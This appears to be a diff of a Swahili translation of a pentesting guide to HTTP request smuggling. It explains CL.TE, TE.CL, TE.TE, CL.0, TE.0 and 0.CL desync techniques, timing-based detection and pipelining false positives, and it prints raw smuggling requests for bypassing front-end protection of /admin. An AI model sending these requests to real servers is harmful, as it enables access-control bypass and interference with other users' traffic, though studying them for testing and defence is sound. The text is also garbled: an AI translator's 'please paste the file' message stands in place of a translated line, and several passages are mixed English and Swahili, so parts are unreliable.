 ![https://twitter.com/SpiderSec/status/1200413390339887104?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1200413390339887104&ref_url=https%3A%2F%2Ftwitter.com%2FSpiderSec%2Fstatus%2F1200413390339887104](../../images/EKi5edAUUAAIPIK.jpg)

 > [!TIP]
-> Kwa jedwali lililotangulia unapaswa kuongeza mbinu ya TE.0, kama mbinu ya CL.0 ila ukitumia Transfer Encoding.
+> Kwa meza iliyotangulia unapaswa kuongeza mbinu ya TE.0, kama mbinu ya CL.0 lakini ikitumia Transfer-Encoding.

 #### CL.TE Vulnerability (Content-Length used by Front-End, Transfer-Encoding used by Back-End)

- **Front-End (CL):** Inashughulikia request kwa msingi wa kichwa `Content-Length`.
- **Back-End (TE):** Inashughulikia request kwa msingi wa kichwa `Transfer-Encoding`.
- **Senario ya Shambulizi:**
+- **Front-End (CL):** Inaprocesi request kulingana na header ya `Content-Length`.
+- **Back-End (TE):** Inaprocesi request kulingana na header ya `Transfer-Encoding`.
+- **Senario ya Attack:**

- Mshambuliaji anatuma request ambapo thamani ya kichwa `Content-Length` haitosheani na urefu halisi wa maudhui.
- front-end server inapitisha request nzima kwa back-end, ikitegemea thamani ya `Content-Length`.
- back-end server inachukulia request kama chunked kutokana na kichwa `Transfer-Encoding: chunked`, ikitafsiri data iliyo baki kama request tofauti inayofuata.
+- Attacker anatumia request ambapo value ya header ya `Content-Length` hailingani na urefu halisi wa yaliyomo.
+- Front-end server inatuma request nzima kwa back-end kulingana na value ya `Content-Length`.
+- Back-end server inaprocesi request kama chunked kutokana na header ya `Transfer-Encoding: chunked`, ikitafsiri data iliyobaki kama request tofauti, inayofuata.
 - **Mfano:**

 ```
@ -76,13 +93,13 @@ Foo: x

 #### TE.CL Vulnerability (Transfer-Encoding used by Front-End, Content-Length used by Back-End)

- **Front-End (TE):** Inashughulikia request kwa msingi wa kichwa `Transfer-Encoding`.
- **Back-End (CL):** Inashughulikia request kwa msingi wa kichwa `Content-Length`.
- **Senario ya Shambulizi:**
+- **Front-End (TE):** Inaprocesi request kulingana na header ya `Transfer-Encoding`.
+- **Back-End (CL):** Inaprocesi request kulingana na header ya `Content-Length`.
+- **Senario ya Attack:**

- Mshambuliaji anatuma request ya chunked ambapo size ya chunk (`7b`) na urefu halisi wa maudhui (`Content-Length: 4`) havilingani.
- front-end server, ikiheshimu `Transfer-Encoding`, inapitisha request nzima kwa back-end.
- back-end server, ikiheshimu `Content-Length`, inashughulikia sehemu tu ya awali ya request (`7b` bytes), na kuacha sehemu iliyobaki kama sehemu ya request inayofuata isiyotarajiwa.
+- Attacker anatumia chunked request ambapo chunk size (`7b`) na urefu halisi (`Content-Length: 4`) havilingani.
+- Front-end server, ikizingatia `Transfer-Encoding`, inatuma request nzima kwa back-end.
+- Back-end server, ikizingatia `Content-Length`, inaprocesi tu sehemu ya awali ya request (`7b` bytes), ikiacha sehemu iliyobaki kuwa sehemu ya request isiyotakiwa inayofuata.
 - **Mfano:**

 ```
@ -105,12 +122,12 @@ x=

 #### TE.TE Vulnerability (Transfer-Encoding used by both, with obfuscation)

- **Servers:** Zote zinaunga mkono `Transfer-Encoding`, lakini moja inaweza kudanganywa kuiacha bila kuisoma kupitia obfuscation.
- **Senario ya Shambulizi:**
+- **Servers:** Zote mbili zinaunga mkono `Transfer-Encoding`, lakini moja inaweza kudanganywa ili kusahau header kwa kutumia obfuscation.
+- **Senario ya Attack:**

- Mshambuliaji anatuma request yenye vichwa vya `Transfer-Encoding` vilivyofichika.
- Kulingana na ni server gani (front-end au back-end) isiyotambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.
- Sehemu isiyoshughulikiwa ya request, kama inavyoonekana na mojawapo ya server, inakuwa sehemu ya request inayofuata, na kusababisha smuggling.
+- Attacker anatumia request yenye headers za `Transfer-Encoding` zilizofichwa/obfuscated.
+- Kulingana na server ambayo (front-end au back-end) haikutambua obfuscation, udhaifu wa CL.TE au TE.CL unaweza kutumika.
+- Sehemu isiyoproseswa ya request, kama inavyoonekana na server moja, inakuwa sehemu ya request inayofuata, na kusababisha smuggling.
 - **Mfano:**

 ```
@ -132,8 +149,8 @@ Transfer-Encoding

 #### **CL.CL Scenario (Content-Length used by both Front-End and Back-End)**

- Server zote mbili zinashughulikia request kwa msingi wa kichwa `Content-Length`.
- Hali hii kwa kawaida haileti smuggling, kwa kuwa kuna muafaka wa jinsi server zote zinavyotafsiri urefu wa request.
+- Servers zote mbili zinaprocesi request kulingana tu na header ya `Content-Length`.
+- Hali hii kwa kawaida haitoi nafasi ya smuggling, kwani kuna muafaka katika jinsi servers zote zinavyothibitisha urefu wa request.
 - **Mfano:**

 ```
@ -147,8 +164,8 @@ Normal Request

 #### **CL.0 Scenario**

- Inarejea kwenye senario ambapo kichwa `Content-Length` kipo na kina thamani isiyo sifuri, ikionyesha kuwa mwili wa request una maudhui. Back-end inaacha kuzingatia `Content-Length` (inachukuliwa kama 0), lakini front-end inakitafsiri.
- Hii ni muhimu katika kuelewa na kutengeneza shambulizi za smuggling, kwani inaathiri jinsi server zinavyoamua mwisho wa request.
+- Inahusu senario ambapo header ya `Content-Length` ipo na ina thamani tofauti na sifuri, ikionyesha kuwa body ya request ina yaliyomo. Back-end hupuuza header ya `Content-Length` (inachukuliwa kama 0), lakini front-end inailenga.
+- Hii ni muhimu kuelewa na kutengeneza smuggling attacks, kwani inaathiri jinsi servers zinavyobaini mwisho wa request.
 - **Mfano:**

 ```
@ -162,9 +179,9 @@ Non-Empty Body

 #### TE.0 Scenario

- Kama ile ya awali lakini ukitumia TE.
+- Kama iliyotangulia lakini ikitumia TE.
 - Technique [reported here](https://www.bugcrowd.com/blog/unveiling-te-0-http-request-smuggling-discovering-a-critical-vulnerability-in-thousands-of-google-cloud-websites/)
- **Example**:
+- **Mfano**:
 ```
 OPTIONS / HTTP/1.1
 Host: {HOST}
@ -182,15 +199,39 @@ x: X
 EMPTY_LINE_HERE
 EMPTY_LINE_HERE
 ```
-#### Breaking the web server
+#### `0.CL` Hali

-Mbinu hii pia inafaa katika matukio ambapo inawezekana **kuvunja web server wakati wa kusoma data za awali za HTTP** lakini **bila kufunga connection**. Kwa njia hii, **body** ya HTTP request itachukuliwa kama **next HTTP request**.
+Katika hali ya `0.CL`, request inatumwa na Content-Length ifuatayo:
+```
+GET /Logon HTTP/1.1
+Host: <redacted>
+Content-Length:
+7

-For example, as explained in [**this writeup**](https://mizu.re/post/twisty-python), In Werkzeug it was possible to send some **Unicode** characters and it will make the server **break**. However, if the HTTP connection was created with the header **`Connection: keep-alive`**, the body of the request won’t be read and the connection will still be open, so the **body** of the request will be treated as the **next HTTP request**.
+GET /404 HTTP/1.1
+X: Y
+```
+Na front-end haizingatii `Content-Length` kwa hivyo inatuma ombi la kwanza tu kwa backend (hadi 7 katika mfano). Hata hivyo, backend inaona `Content-Length` na inasubiri body ambayo haiwahi kufika kwa sababu front-end tayari inasubiri response.

-#### Kulazimisha kupitia hop-by-hop headers
+Hata hivyo, ikiwa kuna ombi ambalo linawezekana kutumwa kwa backend ambalo linajibiwa kabla ya kupokea body ya ombi, deadlock hii haitatokea. Katika IIS kwa mfano hili hutokea kutuma maombi kwa maneno yaliyokatazwa kama `/con` (angalia [documentation](https://learn.microsoft.com/en-us/windows/win32/fileio/naming-a-file)), kwa njia hii, ombi la awali litajibiwa moja kwa moja na ombi la pili litakuwa na ombi la mwathiriwa kama:
+```
+GET / HTTP/1.1
+X: yGET /victim HTTP/1.1
+Host: <redacted>
+```
+Hii ni muhimu kusababisha desync, lakini haikuwa na athari hadi sasa.

-Kutumia vibaya hop-by-hop headers unaweza kuashiria proxy ili **kufuta header Content-Length au Transfer-Encoding ili kutumika kwa HTTP request smuggling**.
+Hata hivyo, chapisho linatoa suluhisho kwa hili kwa kubadilisha **[0.CL attack into a CL.0 with a double desync](https://portswigger.net/research/http1-must-die)**.
+
+#### Kuvunja seva ya wavuti
+
+Mbinu hii pia inatumika katika mazingira ambapo inawezekana **kusababisha seva ya wavuti kuvunjika wakati wa kusoma data za awali za HTTP** lakini **bila kufunga muunganisho**. Kwa njia hii, **body** ya HTTP request itachukuliwa kama **next HTTP request**.
+
+Kwa mfano, kama ilivyoelezwa katika [**this writeup**](https://mizu.re/post/twisty-python), katika Werkzeug ilikuwa inawezekana kutuma baadhi ya herufi za **Unicode** na itaifanya seva **ivunjike**. Hata hivyo, kama HTTP connection iliumbwa na header **`Connection: keep-alive`**, body ya request haitasomwa na connection itaendelea kuwa wazi, hivyo **body** ya request itachukuliwa kama **next HTTP request**.
+
+#### Kuamsha kupitia hop-by-hop headers
+
+Kwa kutumia kwa njia mbaya hop-by-hop headers unaweza kumshawishi proxy kufuta header Content-Length au Transfer-Encoding, hivyo **kufuta header Content-Length au Transfer-Encoding ili kuwezesha HTTP request smuggling kutumiwa**.
 ```
 Connection: Content-Length
 ```
@ -201,15 +242,15 @@ For **more information about hop-by-hop headers** visit:
 ../abusing-hop-by-hop-headers.md
 {{#endref}}

-## Kutambua HTTP Request Smuggling
+## Kupata HTTP Request Smuggling

-Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufikiwa kwa kutumia mbinu za muda (timing techniques), ambazo zinategemea kuchunguza ni muda gani server inachukua kujibu maombi yaliyobadilishwa. Mbinu hizi zinafaa hasa kwa kugundua udhaifu za CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine zinazoweza kutumika kutafuta udhaifu hizi:
+Kutambua udhaifu wa HTTP request smuggling mara nyingi kunaweza kufanikiwa kwa kutumia mbinu za kupima muda (timing techniques), ambazo zinategemea kuchunguza ni muda gani server inachukua kujibu requests zilizobadilishwa. Mbinu hizi zinafaa hasa kugundua udhaifu wa CL.TE na TE.CL. Mbali na mbinu hizi, kuna mikakati na zana nyingine zinazoweza kutumika kupata udhaifu huo:

-### Kutambua udhaifu za CL.TE kwa kutumia mbinu za muda
+### Kupata udhaifu za CL.TE kwa kutumia mbinu za kupima muda

- **Mbinu:**
+- **Njia:**

- Tuma ombi ambalo, ikiwa programu ni dhaifu, litasababisha seva ya nyuma kusubiri data ya ziada.
+- Tuma ombi ambalo, ikiwa application ina udhaifu, litasababisha back-end server kusubiri data ya ziada.
 - **Mfano:**

 ```
@ -225,18 +266,18 @@ A
 ```

 - **Uchunguzi:**
- Seva ya mbele inashughulikia ombi kulingana na `Content-Length` na inakata ujumbe mapema.
- Seva ya nyuma, ikitarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haifiki, na kusababisha uchelewaji.
+- Front-end server inachakata ombi kulingana na `Content-Length` na kukata ujumbe mapema.
+- Back-end server, ambayo inatarajia ujumbe wa chunked, inasubiri chunk inayofuata ambayo haijafika, ikisababisha ucheleweshaji.

 - **Viashiria:**
- Kuisha kwa muda wa kusubiri (timeouts) au uchelewaji mrefu wa majibu.
- Kupokea hitilafu 400 Bad Request kutoka kwa seva ya nyuma, mara nyingine ikiwa na maelezo ya kina ya seva.
+- Timeouts au ucheleweshaji mrefu wa majibu.
+- Kupata hitilafu 400 Bad Request kutoka kwa back-end server, wakati mwingine ikijumuisha taarifa za kina kuhusu server.

-### Kutambua udhaifu za TE.CL kwa kutumia mbinu za muda
+### Kupata udhaifu za TE.CL kwa kutumia mbinu za kupima muda

- **Mbinu:**
+- **Njia:**

- Tuma ombi ambalo, ikiwa programu ni dhaifu, litasababisha seva ya nyuma kusubiri data ya ziada.
+- Tuma ombi ambalo, ikiwa application ina udhaifu, litasababisha back-end server kusubiri data ya ziada.
 - **Mfano:**

 ```
@ -251,41 +292,49 @@ X
 ```

 - **Uchunguzi:**
- Seva ya mbele inashughulikia ombi kulingana na `Transfer-Encoding` na inatuma ujumbe mzima.
- Seva ya nyuma, ikitarajia ujumbe kulingana na `Content-Length`, inasubiri data ya ziada ambayo haifiki, na kusababisha uchelewaji.
+- Front-end server inachakata ombi kulingana na `Transfer-Encoding` na kupeleka ujumbe mzima mbele.
+- Back-end server, ambayo inatarajia ujumbe kulingana na `Content-Length`, inasubiri data ya ziada ambayo haijafika, ikisababisha ucheleweshaji.

-### Mbinu nyingine za kutafuta udhaifu
+### Mbinu nyingine za kupata udhaifu

- **Uchambuzi wa Mwitikio wa Tofauti:**
- Tuma matoleo kidogo tofauti ya ombi na uchunguze ikiwa majibu ya seva yanatofautiana kwa njia isiyotegemewa, ikionyesha tofauti ya ufafanuzi (parsing discrepancy).
- **Kutumia Zana Zilizo Otomatiki:**
- Zana kama Burp Suite's 'HTTP Request Smuggler' extension zinaweza kujaribu moja kwa moja udhaifu hizi kwa kutuma aina mbalimbali za maombi yenye utata na kuchanganua majibu.
- **Majaribio ya Mabadiliko ya Content-Length:**
- Tuma maombi yenye thamani za `Content-Length` zinazobadilika ambazo hazilingani na urefu halisi wa maudhui na uchunguze jinsi seva inavyoshughulikia utofauti huo.
- **Majaribio ya Mabadiliko ya Transfer-Encoding:**
- Tuma maombi yenye vichwa vya `Transfer-Encoding` vilivyofichika au vilivyoharibika na fuatilia jinsi seva za mbele na nyuma zinavyotofautiana kuhimili marekebisho hayo.
+- **Differential Response Analysis:**
+- Tuma matoleo kidogo tofauti ya ombi na uangalie kama majibu ya server yanatofautiana kwa njia isiyotarajiwa, ikionyesha kutofanana kwa jinsi yanavyopangwa.
+- **Using Automated Tools:**
+- Zana kama Burp Suite's 'HTTP Request Smuggler' extension zinaweza kujaribu kiautomatic udhaifu hizi kwa kutuma aina mbalimbali za requests zilizo na utata na kuchambua majibu.
+- **Content-Length Variance Tests:**
+- Tuma requests zenye thamani tofauti za `Content-Length` ambazo hazilingani na urefu halisi wa maudhui na uangalie jinsi server inavyoshughulikia tofauti hizi.
+- **Transfer-Encoding Variance Tests:**
+- Tuma requests zenye `Transfer-Encoding` zilizofichwa au zilizovurugika na angaa jinsi front-end na back-end servers zinavyoitenda kwa namna tofauti kutokana na uchezaji huo.
+
+### The `Expect: 100-continue` header
+
+Angalia jinsi header hii inaweza kusaidia ku-exploit http desync katika:
+
+{{#ref}}
+../special-http-headers.md
+{{#endref}}

 ### HTTP Request Smuggling Vulnerability Testing

-Baada ya kuthibitisha ufanisi wa mbinu za muda, ni muhimu kuthibitisha ikiwa maombi ya mteja yanaweza kubadilishwa. Njia rahisi ni kujaribu kuchafua maombi yako, kwa mfano, kufanya ombi la `/` lirudishe jibu la 404. Mifano ya `CL.TE` na `TE.CL` zilizojadiliwa hapo awali katika [Basic Examples](#basic-examples) zinaonyesha jinsi ya kuchafua ombi la mteja ili kupata jibu la 404, licha ya mteja kutaka kufikia rasilimali tofauti.
+Baada ya kuthibitisha ufanisi wa mbinu za kupima muda, ni muhimu kuthibitisha kama requests za client zinaweza kubadilishwa. Njia rahisi ni kujaribu kuchanganya (poison) requests zako, kwa mfano, kufanya ombi kwa `/` lipatie majibu ya 404. Mifano ya `CL.TE` na `TE.CL` iliyojadiliwa hapo awali katika [Basic Examples](#basic-examples) inaonyesha jinsi ya kuchanganya ombi la mteja ili kupata jibu la 404, licha ya mteja kulenga rasilimali tofauti.

 **Mambo Muhimu ya Kuzingatia**

-Wakati wa kujaribu request smuggling kwa kuingilia maombi ya wengine, zingatia:
+Unapojaribu request smuggling kwa kuingilia requests za wengine, zingatia:

- **Muunganisho Tofauti wa Mtandao:** Maombi ya "attack" na "normal" yanapaswa kutumwa kwa muunganisho tofauti wa mtandao. Kutumia muunganisho mmoja kwa yote haya hakuthibitishi uwepo wa udhaifu.
- **URL na Vigezo Vinavyolingana:** Lenga kutumia URL na majina ya vigezo vinavyofanana kwa maombi yote mawili. Programu za kisasa mara nyingi hupeleka maombi kwa seva maalum za nyuma kulingana na URL na vigezo. Kuzingana kwa haya kunaongeza uwezekano kwamba maombi yote mawili yatashughulikiwa na seva ile ile, jambo muhimu kwa shambulio kufanikiwa.
- **Muda na Mashindano (Racing Conditions):** Ombi la "normal", lililolenga kugundua kuingiliwa kutoka kwa ombi la "attack", linashindana na maombi mengine yanayotumwa kwa wakati mmoja. Kwa hivyo, tuma ombi la "normal" mara moja baada ya ombi la "attack". Programu zenye shughuli nyingi zinaweza kuhitaji jaribio nyingi ili kuthibitisha udhaifu kwa hakika.
- **Changamoto za Usambazaji wa Mzigo (Load Balancing):** Seva za mbele zinazofanya kazi kama load balancers zinaweza kusambaza maombi kwa mifumo tofauti za nyuma. Ikiwa maombi ya "attack" na "normal" yanamalizika kwenye mifumo tofauti, shambulio hatatafanikiwa. Kipengele hiki cha load balancing kinaweza kuhitaji jaribio kadhaa ili kuthibitisha udhaifu.
- **Athari zisizokusudiwa kwa Watumiaji:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (si ombi la "normal" uliotuma kwa ugunduzi), hili linaonyesha shambulio lako liliathiri mtumiaji mwingine wa programu. Kuendelea kufanya majaribio kunaweza kuingilia watumiaji wengine, hivyo inashauriwa kuzingatia tahadhari.
+- **Distinct Network Connections:** Maombi ya "attack" na "normal" yanapaswa kutumwa kupitia muunganisho tofauti wa mtandao. Kutumia muunganisho ule ule kwa yote mawili hakuthibitishi kuwepo kwa udhaifu.
+- **Consistent URL and Parameters:** Lenga kutumia URLs na majina ya parameters sawa kwa maombi yote mawili. Programu za kisasa mara nyingi zinaelekeza requests kwa back-end servers maalum kulingana na URL na parameters. Kuwa na ulinganifu huu kunaongeza uwezekano kwamba maombi yote mawili yatashughulikiwa na server ile ile, jambo muhimu kwa shambulio kufaulu.
+- **Timing and Racing Conditions:** Ombi la "normal", linalokusudia kugundua kuingiliwa na ombi la "attack", linashindana na requests nyingine zinazoendeshwa kwa wakati huo. Kwa hivyo, tuma ombi la "normal" mara moja baada ya ombi la "attack". Programu zilizo na shughuli nyingi zinaweza kuhitaji majaribio mengi ili kuthibitisha udhaifu.
+- **Load Balancing Challenges:** Front-end servers zinazofanya kama load balancers zinaweza kugawanya requests kwa back-end systems mbalimbali. Ikiwa maombi ya "attack" na "normal" yanamalizika kwenye systems tofauti, shambulio halitaenda. Kipengele hiki cha load balancing kinaweza kuhitaji majaribio kadhaa ili kuthibitisha udhaifu.
+- **Unintended User Impact:** Ikiwa shambulio lako kwa bahati mbaya linaathiri ombi la mtumiaji mwingine (sio ombi la "normal" ulilotuma kwa kugundua), hii inaonyesha shambulio lako limeathiri mtumiaji mwingine wa programu. Kupitiliza kujaribu kunaweza kuvuruga watumiaji wengine; kwa hivyo kuwa mwangalifu.

-## Kutofautisha vikoromeo vya pipelining za HTTP/1.1 dhidi ya request smuggling halisi
+## Kutofautisha artifacts za pipelining za HTTP/1.1 dhidi ya request smuggling halisi

-Matumizi upya ya muunganisho (keep-alive) na pipelining vinaweza kwa urahisi kuunda udanganyifu wa "smuggling" katika zana za upimaji ambazo zimetuma maombi mengi kwenye socket moja. Jifunze kutenganisha vikoromeo visivyo hatari vya upande wa mteja kutoka kwa desync halisi upande wa server.
+Connection reuse (keep-alive) na pipelining vinaweza kwa urahisi kuunda udanganyifu wa "smuggling" katika zana za mtihani zinazotuma maombi mengi kwenye socket moja. Jifunze kutenganisha artifacts zisizo hatari za upande wa client na desync halisi ya upande wa server.

 ### Kwa nini pipelining huunda false positives za kawaida

-HTTP/1.1 inatumia tena muunganisho mmoja wa TCP/TLS na kuunganisha maombi na majibu kwenye mtiririko mmoja. Katika pipelining, mteja anatumia maombi mengi mfululizo na kutegemea majibu kwa mpangilio. False-positive ya kawaida ni kutuma tena payload mbovu ya mtindo wa CL.0 mara mbili kwenye muunganisho mmoja:
+HTTP/1.1 inarudisha matumizi ya muunganisho mmoja wa TCP/TLS na kuunganisha requests na responses kwenye mtiririko ule ule. Katika pipelining, client inatuma requests nyingi mfululizo na kutegemea majibu kwa mpangilio. False-positive ya kawaida ni kutuma tena payload iliyokosewa ya mtindo CL.0 mara mbili kwenye muunganisho mmoja:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -294,7 +343,7 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-I need the content of src/pentesting-web/http-request-smuggling/README.md to translate — please paste the file text here.
+I don't have the file contents. Please paste the contents of src/pentesting-web/http-request-smuggling/README.md that you want translated. I will translate the relevant English text to Swahili while preserving all markdown, code, tags, links, paths and hacking terms as you specified.
 ```
 HTTP/1.1 200 OK
 Content-Type: text/html
@ -308,7 +357,7 @@ Content-Type: text/plain
 User-agent: *
 Disallow: /settings
 ```
-Ikiwa server ilipuuzia `Content_Length` iliyoharibika, hakuna FE↔BE desync. Kwa utumiaji tena, client yako kwa kweli ilituma mfululizo huu wa bytes, ambao server uliutafsiri kama maombi mawili huru:
+Ikiwa server iliipuuzia `Content_Length` iliyopangwa vibaya, hakuna FE↔BE desync. Kwa kutumia upya, client yako kwa kweli ilituma byte-stream hii, ambayo server iliparse kama requests mbili za kujitegemea:
 ```
 POST / HTTP/1.1
 Host: hackxor.net
@ -322,44 +371,44 @@ Content_Length: 47
 GET /robots.txt HTTP/1.1
 X: Y
 ```
-Athari: hakuna. Ume desynced client yako kutoka kwenye server framing.
+Athari: hakuna. Umeleta desync kati ya client na server framing.

 > [!TIP]
 > Burp modules zinazotegemea reuse/pipelining: Turbo Intruder with `requestsPerConnection>1`, Intruder with "HTTP/1 connection reuse", Repeater "Send group in sequence (single connection)" or "Enable connection reuse".

-### Mitihani ya Litmus: pipelining au desync halisi?
+### Litmus tests: pipelining or real desync?

 1. Disable reuse and re-test
- Kwenye Burp Intruder/Repeater, zima HTTP/1 reuse na usitumie "Send group in sequence".
- Kwenye Turbo Intruder, weka `requestsPerConnection=1` na `pipeline=False`.
- Kama tabia inapotea, kwa kawaida ilikuwa client-side pipelining, isipokuwa ukikabiliana na targets connection-locked/stateful au client-side desync.
+- Katika Burp Intruder/Repeater, zima HTTP/1 reuse na epuka "Send group in sequence".
+- Katika Turbo Intruder, weka `requestsPerConnection=1` na `pipeline=False`.
+- Ikiwa tabia inapotoweka, labda ilikuwa pipelining upande wa client, isipokuwa ikiwa unashughulika na connection-locked/stateful targets au client-side desync.
 2. HTTP/2 nested-response check
- Tuma ombi la HTTP/2. Ikiwa mwili wa response una nested HTTP/1 response kamili, umeonyesha bug ya backend parsing/desync badala ya artifact ya client peke yake.
+- Tuma ombi la HTTP/2. Ikiwa mwili wa response una response kamili ya nested HTTP/1, umeathibitisha bug ya backend parsing/desync badala ya artifact ya client peke yake.
 3. Partial-requests probe for connection-locked front-ends
- Baadhi ya FEs zinareuse tu upstream BE connection ikiwa client ilireuse yao. Tumia partial-requests kugundua tabia ya FE inayolingana na client reuse.
+- Baadhi ya FEs zinatumia tena tu connection ya upstream BE ikiwa client alitumia yao tena. Tumia partial-requests kugundua tabia ya FE inayofanana na client reuse.
 - Angalia PortSwigger "Browser‑Powered Desync Attacks" kwa mbinu ya connection-locked.
 4. State probes
- Tazama tofauti kati ya first- vs subsequent-request kwenye TCP connection ile ile (first-request routing/validation).
- Burp "HTTP Request Smuggler" ina connection‑state probe inayooautomatisha hili.
+- Angalia tofauti kati ya ombi la kwanza na ombi la baadaye kwenye connection moja ya TCP (first-request routing/validation).
+- Burp "HTTP Request Smuggler" inajumuisha connection‑state probe inayofanya otomatiki hili.
 5. Visualize the wire
- Tumia Burp "HTTP Hacker" extension kuangalia concatenation na message framing moja kwa moja huku ukijaribu reuse na partial requests.
+- Tumia extension ya Burp "HTTP Hacker" kuchunguza concatenation na message framing moja kwa moja wakati wa kujaribu reuse na partial requests.

 ### Connection‑locked request smuggling (reuse-required)

-Some front-ends only reuse the upstream connection when the client reuses theirs. Real smuggling exists but is conditional on client-side reuse. To distinguish and prove impact:
- Prove the server-side bug
- Use the HTTP/2 nested-response check, or
- Use partial-requests to show the FE only reuses upstream when the client does.
- Show real impact even if direct cross-user socket abuse is blocked:
+Baadhi ya front-ends zinatumia tena connection ya upstream tu wakati client anaitumia yao tena. Real smuggling ipo lakini inategemea client-side reuse. Ili kutofautisha na kuthibitisha athari:
+- Thibitisha bug upande wa server
+- Tumia HTTP/2 nested-response check, au
+- Tumia partial-requests kuonyesha FE inatumia tena upstream tu inapomtegemea client.
+- Onyesha athari halisi hata kama direct cross-user socket abuse imezuiwa:
 - Cache poisoning: poison shared caches via the desync so responses affect other users.
 - Internal header disclosure: reflect FE-injected headers (e.g., auth/trust headers) and pivot to auth bypass.
 - Bypass FE controls: smuggle restricted paths/methods past the front-end.
 - Host-header abuse: combine with host routing quirks to pivot to internal vhosts.
 - Operator workflow
- Reproduce with controlled reuse (Turbo Intruder `requestsPerConnection=2`, or Burp Repeater tab group → "Send group in sequence (single connection)").
- Then chain to cache/header-leak/control-bypass primitives and demonstrate cross-user or authorization impact.
+- Rudia kwa reuse iliyodhibitiwa (Turbo Intruder `requestsPerConnection=2`, au Burp Repeater tab group → "Send group in sequence (single connection)").
+- Kisha chain kwa cache/header-leak/control-bypass primitives na onyesha athari kwa cross-user au authorization.

-> See also connection‑state attacks, which are closely related but not technically smuggling:
+> Tazama pia connection‑state attacks, ambazo zina uhusiano karibu lakini si kiufundi smuggling:
 >
 >{{#ref}}
 >../http-connection-request-smuggling.md
@ -367,9 +416,9 @@ Some front-ends only reuse the upstream connection when the client reuses theirs

 ### Client‑side desync constraints

-If you’re targeting browser-powered/client-side desync, the malicious request must be sendable by a browser cross-origin. Header obfuscation tricks won’t work. Focus on primitives reachable via navigation/fetch, and then pivot to cache poisoning, header disclosure, or front-end control bypass where downstream components reflect or cache responses.
+Ikiwa unalenga browser-powered/client-side desync, ombi hasidi lazima litumwe na browser kwa cross-origin. Header obfuscation tricks hazitafanyi kazi. Lenga primitives zinazoweza kufikiwa kupitia navigation/fetch, kisha pivota kwa cache poisoning, header disclosure, au front-end control bypass ambapo downstream components zinaonyesha au kushika responses.

-For background and end-to-end workflows:
+Kwa historia na workflows za end-to-end:

 {{#ref}}
 browser-http-request-smuggling.md
@ -377,21 +426,21 @@ browser-http-request-smuggling.md

 ### Tooling to help decide

- HTTP Hacker (Burp BApp Store): exposes low-level HTTP behavior and socket concatenation.
+- HTTP Hacker (Burp BApp Store): inaonyesha low-level HTTP behavior na socket concatenation.
 - "Smuggling or pipelining?" Burp Repeater Custom Action: https://github.com/PortSwigger/bambdas/blob/main/CustomAction/SmugglingOrPipelining.bambda
- Turbo Intruder: precise control over connection reuse via `requestsPerConnection`.
- Burp HTTP Request Smuggler: includes a connection‑state probe to spot first‑request routing/validation.
+- Turbo Intruder: udhibiti sahihi wa connection reuse kupitia `requestsPerConnection`.
+- Burp HTTP Request Smuggler: inajumuisha connection‑state probe kugundua first‑request routing/validation.

 > [!NOTE]
-> Treat reuse-only effects as non-issues unless you can prove server-side desync and attach concrete impact (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, etc.).
+> Chukulia athari zinazotegemea reuse pekee kama sio masuala isipokuwa unaweza kuthibitisha server-side desync na kuonyesha athari halisi (poisoned cache artifact, leaked internal header enabling privilege bypass, bypassed FE control, n.k.).

 ## Abusing HTTP Request Smuggling

 ### Circumventing Front-End Security via HTTP Request Smuggling

-Sometimes, front-end proxies enforce security measures, scrutinizing incoming requests. However, these measures can be circumvented by exploiting HTTP Request Smuggling, allowing unauthorized access to restricted endpoints. For instance, accessing `/admin` might be prohibited externally, with the front-end proxy actively blocking such attempts. Nonetheless, this proxy may neglect to inspect embedded requests within a smuggled HTTP request, leaving a loophole for bypassing these restrictions.
+Wakati mwingine, front-end proxies zinaweka hatua za usalama, zikifuatilia maombi yanayoingia. Hata hivyo, hatua hizi zinaweza kukweptwa kwa kutumia HTTP Request Smuggling, kuruhusu ufikiaji usioidhinishwa kwenye endpoints zilizozuiliwa. Kwa mfano, kufikia `/admin` inaweza kuzuia kwa upande wa nje, na front-end proxy ikizuia majaribio hayo. Hata hivyo, proxy hii inaweza kukosa kuchunguza maombi yaliyofungwa ndani ya smuggled HTTP request, na hivyo kuacha nafasi ya kukwepa vizuizi hivyo.

-Consider the following examples illustrating how HTTP Request Smuggling can be used to bypass front-end security controls, specifically targeting the `/admin` path which is typically guarded by the front-end proxy:
+Angalia mifano ifuatayo inayoonyesha jinsi HTTP Request Smuggling inavyoweza kutumika kukwepa udhibiti wa usalama wa front-end, hasa inalenga njia ya `/admin` ambayo kwa kawaida inalindwa na front-end proxy:

 **CL.TE Example**
 ```
@ -410,9 +459,9 @@ Content-Length: 10

 x=
 ```
-Katika shambulio la CL.TE, kichwa `Content-Length` kinatumika kwa ombi la awali, wakati ombi lililojumuishwa baadaye linatumia kichwa `Transfer-Encoding: chunked`. front-end proxy inashughulikia ombi la awali la `POST` lakini inashindwa kuchunguza ombi lililojumuishwa la `GET /admin`, na hivyo kuruhusu upatikanaji usioidhinishwa wa njia ya `/admin`.
+In the CL.TE attack, the `Content-Length` header is leveraged for the initial request, while the subsequent embedded request utilizes the `Transfer-Encoding: chunked` header. The front-end proxy processes the initial `POST` request but fails to inspect the embedded `GET /admin` request, allowing unauthorized access to the `/admin` path.

-**TE.CL Mfano**
+**TE.CL Example**
 ```
 POST / HTTP/1.1
 Host: [redacted].web-security-academy.net
@ -428,13 +477,13 @@ a=x
 0

 ```
-Kwa upande mwingine, katika shambulio la TE.CL, ombi la awali la `POST` linatumia `Transfer-Encoding: chunked`, na ombi lililofichwa ndani lililofuata linashughulikiwa kulingana na kichwa cha `Content-Length`. Kama katika shambulio la CL.TE, front-end proxy inapuuza ombi lililosmugglowa la `GET /admin`, na kwa bahati mbaya ikiruhusu upatikanaji wa njia iliyozuiliwa `/admin`.
